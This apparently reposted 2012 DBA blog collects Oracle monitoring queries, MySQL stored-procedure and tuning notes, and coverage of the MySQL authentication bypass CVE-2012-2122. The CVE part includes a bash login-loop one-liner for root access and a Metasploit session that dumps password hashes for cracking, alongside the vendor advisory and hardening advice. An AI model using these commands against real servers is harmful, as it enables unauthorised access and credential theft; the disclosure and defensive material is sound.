Thursday, June 21, 2012

Some ORACLE DBA Useful Commands

--Sessions with highest CPU consumption:

SELECT s.sid, s.serial#, p.spid as "OS PID",s.username, s.module, st.value/100 as
"CPU sec"
FROM v$sesstat st, v$statname sn, v$session s, v$process p
WHERE sn.name = 'CPU used by this session' -- CPU
AND st.statistic# = sn.statistic#
AND st.sid = s.sid
AND s.paddr = p.addr
AND s.last_call_et < 1800 -- active within last 1/2 hour
AND s.logon_time > (SYSDATE - 240/1440) -- sessions logged on within 4 hours
ORDER BY st.value;


--Sessions with the highest time for a certain wait

SELECT s.sid, s.serial#, p.spid as "OS PID", s.username, s.module, se.time_waited
FROM v$session_event se, v$session s, v$process p
WHERE se.event = '&event_name'
AND s.last_call_et < 1800 -- active within last 1/2 hour
AND s.logon_time > (SYSDATE - 240/1440) -- sessions logged on within 4 hours
AND se.sid = s.sid
AND s.paddr = p.addr
ORDER BY se.time_waited;
SQL> /
Enter value for event_name: db file sequential read


--Sessions with highest DB Time usage

SELECT s.sid, s.serial#, p.spid as "OS PID", s.username, s.module, st.value/100 as
"DB Time (sec)"
, stcpu.value/100 as "CPU Time (sec)", round(stcpu.value / st.value * 100,2) as "%
CPU"
FROM v$sesstat st, v$statname sn, v$session s, v$sesstat stcpu, v$statname sncpu, v
$process p
WHERE sn.name = 'DB time' -- CPU
AND st.statistic# = sn.statistic#
AND st.sid = s.sid
AND sncpu.name = 'CPU used by this session' -- CPU
AND stcpu.statistic# = sncpu.statistic#
AND stcpu.sid = st.sid
AND s.paddr = p.addr
AND s.last_call_et < 1800 -- active within last 1/2 hour
AND s.logon_time > (SYSDATE - 240/1440) -- sessions logged on within 4 hours
AND st.value > 0;


Note: sometimes DB Time can be lower than CPU Time when a session issues long-running recursive
calls. The DB Time statistic doesn't update until the top-level call is finished (versus the CPU statistic that
updates as each call completes).



==========================================
Query to check the Temp  tablespace usage:
==========================================
SELECT total_blocks, free_blocks, total_extents, free_extents FROM
v$sort_segment WHERE tablespace_name = 'TEMP';
  2
TOTAL_BLOCKS FREE_BLOCKS TOTAL_EXTENTS FREE_EXTENTS
------------ ----------- ------------- ------------
     1035648     1035648          8091         8091



Select tablespace_name, sum(bytes)/(1024*1024) from dba_data_files
group by tablespace_name;



Select tablespace_name, sum(bytes)/(1024*1024) FreeSPace from dba_free_space group by tablespace_name;





select sum(free_blocks) from gv$sort_segment where tablespace_name ='TEMP';

==================================================
Query to check tablespace usage of all tablespaces
==================================================
Set lines 1000
SELECT /* + RULE */  df.tablespace_name "Tablespace",
       df.bytes / (1024 * 1024) "Size (MB)",
       SUM(fs.bytes) / (1024 * 1024) "Free (MB)",
       Nvl(Round(SUM(fs.bytes) * 100 / df.bytes),1) "% Free",
       Round((df.bytes - SUM(fs.bytes)) * 100 / df.bytes) "% Used"
  FROM dba_free_space fs,
       (SELECT tablespace_name,SUM(bytes) bytes
          FROM dba_data_files
         GROUP BY tablespace_name) df
 WHERE fs.tablespace_name (+)  = df.tablespace_name
 GROUP BY df.tablespace_name,df.bytes
UNION ALL
SELECT /* + RULE */ df.tablespace_name tspace,
       fs.bytes / (1024 * 1024),
       SUM(df.bytes_free) / (1024 * 1024),
       Nvl(Round((SUM(fs.bytes) - df.bytes_used) * 100 / fs.bytes), 1),
       Round((SUM(fs.bytes) - df.bytes_free) * 100 / fs.bytes)
  FROM dba_temp_files fs,
       (SELECT tablespace_name,bytes_free,bytes_used
          FROM v$temp_space_header
         GROUP BY tablespace_name,bytes_free,bytes_used) df
 WHERE fs.tablespace_name (+)  = df.tablespace_name
 GROUP BY df.tablespace_name,fs.bytes,df.bytes_free,df.bytes_used
 ORDER BY 4 DESC;







======================================
Query to check temp tablespace usage
======================================

SELECT A.tablespace_name tablespace, D.mb_total,
SUM (A.used_blocks * D.block_size) / 1024 / 1024 mb_used,
D.mb_total - SUM (A.used_blocks * D.block_size) / 1024 / 1024 mb_free
FROM v$sort_segment A,
(
SELECT B.name, C.block_size, SUM (C.bytes) / 1024 / 1024 mb_total
FROM v$tablespace B, v$tempfile C
WHERE B.ts#= C.ts#
GROUP BY B.name, C.block_size
) D
WHERE A.tablespace_name = D.name
GROUP by A.tablespace_name, D.mb_total;



===========================================================
How to check with the tablespace is permanent of temporary:
===========================================================
If the table space is temporary it should not be in the RMAN backup but if it is permanent it would be in the back up. So check to see which type it is if the data file shows in v$datafile it is permanent if it is in v$tempfile then it is temporary.





MySQL Stored Procedures (different from Oracle/SQL Server Procedures)


Developer/DBA who works on Oracle /SQL Server thinks MySQL implement stored procedure in a same way as Oracle/MS SQL Server. They incorrectly believe that stored procedures are compiled and stored in a global stored procedure cache, similar to the stored procedure cache in Microsoft SQL Server] or Oracle[
This is wrong. Flat-out incorrect.
Here is the truth: Every single connection to the MySQL server maintains it’s own stored procedure cache.
This means two very important things that users of stored procedures should understand:
  • If you operate in a shared-nothing environment — for example, the majority of PHP and Python applications that do not use connection pooling or persistent connections — if your application uses stored procedures, the connection is compiling the stored procedure, storing it in a cache, and destroying that cache every single time you connect to the database server and issue a CALL statement
  • If you use stored procedures, the memory usage of every single connection that uses those stored procedures is going to increase, and will increase substantially if you use many stored procedures
Ooops, I Invalidated Everything Again
So, what happens when you CREATE, ALTER, or DROP any stored procedures? Since MySQL stores all stored procedure execution code on the connection threads, each of those connection threads must invalidate the procedure in its caches that has changed, right?
No, it’s worse. Every time ANY stored procedure is added, dropped, or updated, ALL stored procedures on ALL connection threads will be invalidated and must be re-compiled. Here is how the “caches” are invalidated:
from /sql/sp_cache.cc, lines 193-197, in MySQL 5.5
/*
  Invalidate all routines in all caches.

  SYNOPSIS
    sp_cache_invalidate()

  NOTE
    This is called when a VIEW definition is created or modified (and in some
    other contexts). We can't destroy sp_head objects here as one may modify
    VIEW definitions from prelocking-free SPs.
*/
void sp_cache_invalidate()
{
  DBUG_PRINT("info",("sp_cache: invalidating"));
  thread_safe_increment(Cversion, &Cversion_lock);
}
It’s a bit misleading, since it actually doesn’t invalidate anything at all. What the above code does is increment the global “Cversion” variable. When a connection thread attempts to execute, drop or insert a new procedure, it will notice that it’s local cache’s version number is less than this Cversion number and will destroy the entire cache and rebuild it gradually as procedures are affected or executed.
So, Should You Use Stored Procedures in MySQL?
The above warning doesn’t necessarily mean that you should never use stored procedures? No. What it means (besides being a bit of a rant on the implementation of MySQL’s stored procedures) is that you should be aware of these issues and use stored procedures where they make the most sense:
  • When you know that you will be executing the stored procedure over and over again on the same connection — for instance, in a bulk loading script or similar
  • When you know that you will not be disconnecting from the MySQL server at the end of script execution — for instance, if you use JDBC connection pooling
  • When you know that you have a limited number of stored procedures and the memory usage of connections won’t be an issue
Finally, if you see benchmarks that purport to show a huge performance increase from using stored procedures in MySQL, be careful to understand what the benchmark is doing and whether that benchmark represents your real-world environment. For instance, if you see a huge performance increase in sysbench when using stored procedures, but you have a PHP shared-nothing environment, understand that those benchmark results mean very little to you, since sysbench connections don’t get destroyed until the end of the run…



Reference
http://www.joinfu.com/2010/05/mysql-stored-procedures-aint-all-that/

Tuesday, June 12, 2012

How to Boost MySQL Scalability


We face a lot of scalability challenges with clients again and again. The list of point I cannot limit to numbers. However I am giving some basic ideas to scale MySQL Server.

1. Tune queries which are causing performance degradation
Till now the biggest cause of performance buck is unoptimized query. Queries can be functionally correct and meet business requirements, but if they are used without stress tested for high traffic and high load can cause pain.   This is why we often see clients with growing pains, and scalability challenges as their site becomes more popular. This also makes sense. It wouldn’t necessarily be a good use of time to tune a query for some page off in a remote corner of your site, that didn’t receive real-world traffic. So some amount of reactive tuning is common and appropriate.
Enable the slow query log, watch it, analyze it and try to optimize slow queries. Also make sure the log_queries_not_using_indexes flag is set.  Once you’ve found a heavy resource intensive query, optimize it!  Use the EXPLAIN facility, use a profiler, look at index usage and create missing indexes, and understand how it is joining and/or sorting.
2. Employ Master-Master Replication
Master-master active-passive replication, otherwise known as circular replication, can be a boon for high availability, but also for scalability.  That’s because you immediately have a read-only slave for your application to hit as well.  Many web applications exhibit an 80/20 split, where 80% of activity is read or SELECT and the remainder is INSERT and UPDATE.  Configure your application to send read traffic to the slave or rearchitect so this is possible.  This type of horizontal scalability can then be extended further, adding additional read-only slaves to the infrastructure as necessary.
But use it only Active-Passive mode. If you want to use Active-Active replication, make sure you are not using same database on both server at same time. It may cause data inconsistency as MySQL does not having ability for Remote Locking.
3. Use Your Memory
It sounds very basic and straightforward, yet there are often details overlooked.  At minimum be sure to set these:
  • innodb_buffer_pool_size
  • key_buffer_size (MyISAM index caching)
  • query_cache_size
  • thread_cache & table_cache
  • innodb_log_file_size & innodb_log_buffer_size
  • sort_buffer_size, join_buffer_size, read_buffer_size, read_rnd_buffer_size
  • tmp_table_size & max_heap_table_size
4. RAID Your Disk I/O
What is underneath your database?  You don’t know?  Well please find out!  Are you using RAID 5?  This is a big performance hit.  RAID5 is slow for inserts and updates.  It is also almost non-functional during a rebuild if you lose a disk.  Very very slow performance.  What should I use instead?  RAID 10 mirroring and striping, with as many disks as you can fit in your server or raid cabinet.  A database does a lot of disk I/O even if you have enough memory to hold the entire database.  Why?  Sorting requires rearranging rows, as does group by, joins, and so forth.  Plus the transaction log is disk I/O as well!
Are you running on EC2?  In that case EBS is already fault tolerant and redundant.  So give your performance a boost by striping-only across a number of EBS volumes using the Linux md software raid.
5. Tune Key Parameters
These additional parameters can also help a lot with performance.
innodb_flush_log_at_trx_commit=2
This speeds up inserts & updates dramatically by being a little bit lazy about flushing the innodb log buffer.  You can do more research yourself but for most environments this setting is recommended.
innodb_file_per_table
Innodb was developed like Oracle with the tablespace model for storage.  Apparently the kernel developers didn’t do a very good job.  That’s because the default setting to use a single tablespace turns out to be a performance bottleneck.  Contention for file descriptors and so forth.  This setting makes innodb create tablespace and underlying datafile for each table, just like MyISAM does.

CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL

Introduction


On Saturday afternoon Sergei Golubchik posted to the oss-sec mailing list about a recently patched security flaw (CVE-2012-2122) in the MySQL and MariaDB database servers. This flaw was rooted in an assumption that the memcmp() function would always return a value within the range -127 to 127 (signed character). On some platforms and with certain optimizations enabled, this routine can return values outside of this range, eventually causing the code that compares a hashed password to sometimes return true even when the wrong password is specified. Since the authentication protocol generates a different hash each time this comparison is done, there is a 1 in 256 chance that ANY password would be accepted for authentication.

In short, if you try to authenticate to a MySQL server affected by this flaw, there is a chance it will accept your password even if the wrong one was supplied. The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>



Exploitability


Although a wide range of MySQL and MariaDB versions use the vulnerable code, only some of these systems are exploitable. It boils down to whether the memcmp() routine returns values outside of the unsigned character range. According to Sergei, this is normally not the case, and the routine is normally compiled into the server as an inline function. The major exception is when GCC uses SSE optimization. Joshua Drake, a security researcher with Accuvant Labs, provided a sample application that can determine whether your system might be affected. On most systems, the results of this application match the MySQL package provided by the distribution, but the only way to be sure is to actually test it.


So far, the following systems have been confirmed as vulnerable:
  • Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 ) ( via many including @michealc )
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log ( via @michealc )
  • Debian Unstable 64-bit 5.5.23-2 ( via @derickr )
  • Fedora ( via hexed  and confirmed by Red Hat )
  • Arch Linux (unspecified version)

Feedback so far indicates the following platforms are NOT vulnerable:
  • Official builds from MySQL and MariaDB (including Windows)
  • Red Hat Enterprise Linux 4, 5, and 6 (confirmed by Red Hat)
  • CentOS using official RHEL rpms
  • Ubuntu Linux 32-bit (10.04, 11.10, 12.04, likely all)
  • Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
  • Debian Linux lenny 32-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.0.51a-24+lenny5 ( via @matthewbloch )
  • Debian Linux lenny 64-bit 5.1.51-1-log ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.49-3-log ( via @matthewbloch )
  • Debian Linux squeeze 32-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Debian Linux squeeze 64-bit 5.1.61-0+squeeze1 ( via @matthewbloch )
  • Gentoo 64-bit 5.1.62-r1 ( via @twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a ( via @twit4c )
  • OpenIndiana oi_151a4 5.1.37 ( via @TamberP )


Most Linux vendors should have a patch out soon, if not already.



Caveats and Defense


The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.


If you are responsible for a MySQL server that is currently exposed to the network unnecessarily, the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "127.0.0.1". Restart the MySQL service to apply this setting.



Real-world Version Information


Pulling from the resources of a personal side project, I was able to derive some statistics about the real-world impact of this vulnerability. This project managed to find and gather the initial handshake for approximately 1.74 million MySQL servers across the internet at large. This statistic only includes MySQL instances that were on hosts publicly exposed to the internet and not bound to localhost.

Host Access Control


Of the 1.74 million MySQL servers identified, slightly more than 50% did not enforce host-based access controls ( 879,046 vs 863,920 ). The data was gathered by scanning randomly generated IPs across the entire addressable IPv4 unicast range, excluding networks known to be "dark" or where the network administrators had opted out of the survey.

MySQL Version Numbers


If we break down the list of accessible servers by version, we can see that the 5.0.x version series accounts for over 356,000 of the entire set, followed by 285,000 running a 5.1.x version, and 134,436 running a 5.5.x version. Doing the same type of analysis on the build flavor highlights how easy it is to identify Ubuntu (43,900), Debian (6,408), and Windows (98,665) MySQL services from the banners alone. Knowing that most Ubuntu 64-bit builds are likely to be vulnerable, the real question is how many of those nearly 44,000 Ubuntu systems are running 64-bit editions of the operating system.




Making the Most of It


If you are approaching this issue from the perspective of a penetration tester, this will be one of the most useful MySQL tricks for some time to come. One feature of Metasploit you should be familiar with is the mysql_hashdump module. This module uses a known username and password to access the master user table of a MySQL server and dump it into a locally-stored "loot" file. This can be easily cracked using a tool like John the Ripper, providing clear-text passwords that may provide further access.

This evening Jonathan Cran (CTO of Pwnie Express and Metasploit contributor) committed a threaded brute-force module that abuses the authentication bypass flaw to automatically dump the password database. This ensures that even if the authentication bypass vulnerability is fixed, you should still be able to access the database using the cracked password hashes. A quick demonstration of this module is shown below using the latest Metasploit Framework GIT/SVN snapshot.


$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf  auxiliary(mysql_authbypass_hashdump) > run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


If you'd like to give this a try yourself, download Metasploit now.

References
https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

REPOST: A security flaw in MySQL authentication. Is your system vulnerable? Check it today..

A few days ago Sergei Golubchik of Monty Program sent an e-mail to the Open Source Security mailing list informing about a security vulnerability in MySQL authentication system. Under certain circumstances a remote attacker may easily gain access to MySQL database as any user and all they need to know is a valid user name (e.g. root user exists in nearly all installations). The problem has only been addressed in the most recent database versions.
The full details are covered in Sergei’s post linked above. Not all MySQL releases are affected as the cause appears to be related to the build environment and the options used in the binary build process. For instance binaries distributed by Oracle appear to be safe as well as those available from RedHat’s repository.
We encourage you to test this against your database if you’re running MySQL versions up to 5.1.61 or 5.5.22 to see whether you need to upgrade or not. The test can be done with a simple line that can be run in bash:
for i in `seq 1 2000`; do mysql -u root --password=somerandomcharacters -h 127.0.0.1 ; done
Remember that following even the basic security practices can often save you from getting your database hacked after a new vulnerability is published:
  • never let MySQL to listen on a network interface accessible from the internet (set bind-address in my.cnf if necessary)
  • build firewall rules to filter out any addresses that do not require database access
  • always create a new privileged MySQL user under a different name to replace the default root account and remove root afterwards
  • remove test account that is installed by default
  • upgrade database as soon as possible after a new vulnerability is published 


Below is Email from  Sergei Golubchik




Security vulnerability in MySQL/MariaDB sql/password.c

From: Sergei Golubchik
Date
: Sat, 9 Jun 2012 17:30:38 +0200

Hi

We have recently found a serious security bug in MariaDB and MySQL.
So, here, we'd like to let you know about what the issue and its impact
is. At the end you can find a patch, in case you need to patch an older
unsuported MySQL version.

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

This issue got assigned an id CVE-2012-2122.

Here's the issue. When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might've
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not.  Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.

Which means, if one knows a user name to connect (and "root" almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent. 
Any client will do, there's no need for a special libmysqlclient library.

But practically it's better than it looks - many MySQL/MariaDB builds
are not affected by this bug.

Whether a particular build of MySQL or MariaDB is vulnerable, depends on
how and where it was built. A prerequisite is a memcmp() that can return
an arbitrary integer (outside of -128..127 range). To my knowledge gcc
builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc
sse-optimized memcmp is not safe, but gcc usually uses the inlined
builtin version.

As far as I know, official vendor MySQL and MariaDB binaries are not
vulnerable.

Regards,
Sergei Golubchik
MariaDB Security Coordinator

References:

MariaDB bug report: https://mariadb.atlassian.net/browse/MDEV-212
MariaDB fix: http://bazaar.launchpad.net/~maria-captains/maria/5.1/revision/3144

MySQL bug report: http://bugs.mysql.com/bug.php?id=64884
MySQL fix: http://bazaar.launchpad.net/~mysql/mysql-server/5.1/revision/3560.10.17
MySQL changelog:
  http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html
  http://dev.mysql.com/doc/refman/5.5/en/news-5-5-24.html